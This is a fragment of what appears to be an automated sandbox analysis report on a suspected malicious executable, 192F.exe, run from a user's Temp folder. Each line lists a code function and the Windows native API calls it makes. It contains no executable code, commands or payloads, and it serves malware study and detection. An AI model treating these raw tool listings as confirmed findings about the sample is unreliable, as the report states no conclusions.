Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94C9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,	29_2_6A94C9BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	29_2_6A9EF1B5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B1A0 ZwWaitForKeyedEvent,	29_2_6A95B1A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D49A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6A9D49A4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A19C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	29_2_6A9A19C8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F1E4 ZwEnumerateValueKey,	29_2_6A91F1E4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E89E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E89E7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E9ED RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,RtlFreeHeap,	29_2_6A91E9ED
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A919100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	29_2_6A919100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	29_2_6A920100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959900 ZwOpenEvent,	29_2_6A959900
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9B5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,	29_2_6A9B5100
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A193B ZwRaiseException,ZwTerminateProcess,	29_2_6A9A193B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A130 ZwCreateWaitCompletionPacket,	29_2_6A95A130
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9EF13B ZwOpenKey,ZwCreateKey,	29_2_6A9EF13B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,	29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959920 ZwDuplicateToken,	29_2_6A959920
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	29_2_6A91F150
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B150 ZwUnsubscribeWnfStateChange,	29_2_6A95B150
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	29_2_6A91395E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	29_2_6A93B944
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	29_2_6A91B171
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D976 ZwCreateFile,ZwCreateFile,	29_2_6A94D976
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1976 ZwCreateEvent,	29_2_6A9A1976
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B160 ZwUpdateWnfStateData,	29_2_6A95B160
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A160 ZwCreateWorkerFactory,	29_2_6A95A160
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8966
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6A9CBE9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	29_2_6A94DE9E
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912E9F ZwCreateEvent,ZwClose,	29_2_6A912E9F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A913E80
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	29_2_6A9E3EBC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	29_2_6A93E6B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959EA0 ZwCompareSigningLevels,	29_2_6A959EA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9A2EA3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A949ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	29_2_6A949ED0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596D0 ZwCreateKey,	29_2_6A9596D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9166D4 RtlInitUnicodeString,ZwQueryValueKey,	29_2_6A9166D4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8ED6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	29_2_6A912ED8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596C0 ZwSetInformationProcess,	29_2_6A9596C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	29_2_6A9A16FA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	29_2_6A91B6F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A96DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	29_2_6A96DEF0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E6F9 ZwAlpcSetInformation,	29_2_6A93E6F9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9276FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,	29_2_6A9276FE
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9596E0 ZwFreeVirtualMemory,	29_2_6A9596E0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959610 ZwEnumerateValueKey,	29_2_6A959610
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A952E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,	29_2_6A952E1C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9A2E14
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	29_2_6A91C600
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91B630 ZwWaitForKeyedEvent,	29_2_6A91B630
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9CFE3F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959E30 ZwCancelWaitCompletionPacket,	29_2_6A959E30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959E20 ZwCancelTimer2,	29_2_6A959E20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	29_2_6A9E3E22
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6A95B650
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959650 ZwQueryValueKey,	29_2_6A959650
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	29_2_6A9A6652
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	29_2_6A95B640
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AE70 ZwSetInformationWorkerFactory,	29_2_6A95AE70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959670 ZwQueryInformationProcess,	29_2_6A959670
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	29_2_6A94BE62
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,	29_2_6A94FF9C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5780 DbgPrompt,ZwWow64DebuggerCall,	29_2_6A9A5780
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C5F87 ZwUnmapViewOfSection,	29_2_6A9C5F87
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A912FB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99A7AC ZwCompareSigningLevels,ZwCompareSigningLevels,	29_2_6A99A7AC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9597A0 ZwUnmapViewOfSection,	29_2_6A9597A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	29_2_6A953FA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AFD0 ZwShutdownWorkerFactory,	29_2_6A95AFD0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	29_2_6A94DFDF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	29_2_6A91F7C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9597C0 ZwTerminateProcess,	29_2_6A9597C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,	29_2_6A94D7CA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A920FFD RtlInitUnicodeString,ZwQueryValueKey,	29_2_6A920FFD
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A0FEC ZwDuplicateObject,ZwDuplicateObject,	29_2_6A9A0FEC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9437EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	29_2_6A9437EB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959710 ZwQueryInformationToken,	29_2_6A959710
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A6715 memset,memcpy,ZwTraceEvent,	29_2_6A9A6715
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A949702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	29_2_6A949702
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	29_2_6A94E730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959730 ZwQueryVirtualMemory,	29_2_6A959730
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CCF30 ZwAlertThreadByThreadId,	29_2_6A9CCF30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959750 ZwQueryInformationThread,	29_2_6A959750
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	29_2_6A9A5F5F
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959740 ZwOpenThreadToken,	29_2_6A959740
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	29_2_6A950F48
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	29_2_6A94174B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99A746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,	29_2_6A99A746
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959F70 ZwCreateIoCompletion,	29_2_6A959F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959770 ZwSetInformationFile,	29_2_6A959770
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	29_2_6A9CCF70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	29_2_6A916F60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8F6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AF60 ZwSetTimer2,	29_2_6A95AF60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	29_2_6A9A176C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,	29_2_6A94CF6A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A993C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,	29_2_6A993C93
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,	29_2_6A91EC9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A480 ZwInitializeNlsFiles,	29_2_6A95A480
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E9CB3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,	29_2_6A950CA1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E4CAB ZwTraceControl,	29_2_6A9E4CAB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8CD6
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912CDB RtlFreeHeap,ZwClose,ZwSetEvent,	29_2_6A912CDB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,	29_2_6A94CCC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A4C0 ZwIsUILanguageComitted,	29_2_6A95A4C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D14FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9D14FB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,	29_2_6A9C64FB
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	29_2_6A91F4E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1CE4 ZwQueryInformationProcess,	29_2_6A9A1CE4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A950413 ZwUnmapViewOfSection,	29_2_6A950413
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8C14
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1411 ZwTraceEvent,	29_2_6A9D1411
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93FC39 ZwAssociateWaitCompletionPacket,	29_2_6A93FC39
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlpLoadUserUIByPolicy,ZwClose,	29_2_6A91E420
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95A420 ZwGetNlsSectionPtr,	29_2_6A95A420
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A915450 RtlClearThreadWorkOnBehalfTicket,memcmp,RtlClearThreadWorkOnBehalfTicket,ZwSetInformationThread,	29_2_6A915450
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1C49 ZwQueryInformationProcess,	29_2_6A9A1C49
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959C40 ZwAllocateVirtualMemoryEx,	29_2_6A959C40
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959C70 ZwAlpcConnectPort,	29_2_6A959C70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A955C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,	29_2_6A955C70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9E8C75
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A1C76 ZwQueryInformationProcess,	29_2_6A9A1C76
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,	29_2_6A9C3C60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	29_2_6A93746D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913591 ZwSetInformationFile,	29_2_6A913591
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	29_2_6A92DD80
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1582 ZwTraceEvent,	29_2_6A9D1582
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595B0 ZwSetInformationThread,	29_2_6A9595B0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DB0 ZwAlpcSetInformation,	29_2_6A959DB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9165A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	29_2_6A9165A0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DA0 ZwAlpcSendWaitReceivePort,	29_2_6A959DA0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9145D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	29_2_6A9145D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595D0 ZwClose,	29_2_6A9595D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	29_2_6A9CFDD3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	29_2_6A914DC0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595C0 ZwSetEvent,	29_2_6A9595C0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93EDC4 ZwCancelWaitCompletionPacket,	29_2_6A93EDC4
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	29_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9595F0 ZwQueryInformationFile,	29_2_6A9595F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	29_2_6A9CBDFA
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A959DE0 ZwAssociateWaitCompletionPacket,	29_2_6A959DE0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A95AD10 ZwSetCachedSigningLevel,	29_2_6A95AD10
